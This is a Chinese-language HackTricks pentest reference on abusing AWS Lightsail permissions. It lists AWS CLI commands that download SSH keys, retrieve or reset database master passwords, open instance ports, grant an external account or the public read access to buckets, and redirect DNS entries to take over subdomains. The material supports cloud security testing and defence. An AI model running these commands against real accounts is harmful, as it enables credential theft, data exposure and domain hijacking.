AWS - Lightsail Privesc

支持HackTricks

Lightsail

有关Lightsail的更多信息,请查看:

AWS - Lightsail Enum

需要注意的是,Lightsail 不使用属于用户的IAM角色,而是使用AWS托管账户的IAM角色,因此无法滥用此服务进行提权。但是,敏感数据,如代码、API密钥和数据库信息,可能会在此服务中找到。

lightsail:DownloadDefaultKeyPair

此权限将允许您获取用于访问实例的SSH密钥:

aws lightsail download-default-key-pair

潜在影响: 查找实例内的敏感信息。

lightsail:GetInstanceAccessDetails

此权限将允许您生成 SSH 密钥以访问实例:

aws lightsail get-instance-access-details --instance-name <instance_name>

潜在影响: 查找实例内的敏感信息。

lightsail:CreateBucketAccessKey

此权限将允许您获取访问存储桶的密钥:

aws lightsail create-bucket-access-key --bucket-name <name>

潜在影响: 查找存储桶中的敏感信息。

lightsail:GetRelationalDatabaseMasterUserPassword

此权限将允许您获取访问数据库的凭据:

aws lightsail get-relational-database-master-user-password --relational-database-name <name>

潜在影响: 查找数据库中的敏感信息。

lightsail:UpdateRelationalDatabase

此权限将允许您更改访问数据库的密码:

aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

如果数据库不是公开的,您也可以使用以下权限将其设为公开:

aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

潜在影响: 在数据库中发现敏感信息。

lightsail:OpenInstancePublicPorts

此权限允许向互联网开放端口

aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

潜在影响: 访问敏感端口。

lightsail:PutInstancePublicPorts

此权限允许向互联网开放端口。请注意,该调用将关闭未在其中指定的任何已打开端口。

aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

潜在影响: 访问敏感端口。

lightsail:SetResourceAccessForBucket

此权限允许为实例提供对存储桶的访问权限,无需任何额外凭据

aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

潜在影响: 可能会获得对包含敏感信息的存储桶的新访问权限。

lightsail:UpdateBucket

拥有此权限的攻击者可以授予自己的AWS账户对存储桶的读取访问权限,甚至可以将存储桶公开给所有人:

# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

潜在影响: 可能获得对包含敏感信息的存储桶的新访问权限。

lightsail:UpdateContainerService

使用这些权限,攻击者可以从容器服务中授予对私有 ECR 的访问权限。

aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

潜在影响: 从私有 ECR 获取敏感信息

lightsail:CreateDomainEntry

拥有此权限的攻击者可以创建子域并将其指向自己的 IP 地址(子域接管),或者制作一个允许他欺骗该域的 SPF 记录,甚至将主域设置为自己的 IP 地址。

aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

潜在影响: 接管一个域

lightsail:UpdateDomainEntry

拥有这个权限的攻击者可以创建子域并将其指向自己的IP地址(子域接管),或者制作一个允许他伪造该域电子邮件的SPF记录,甚至将主域设置为自己的IP地址。

aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

潜在影响: 接管一个域

支持 HackTricks

Last updated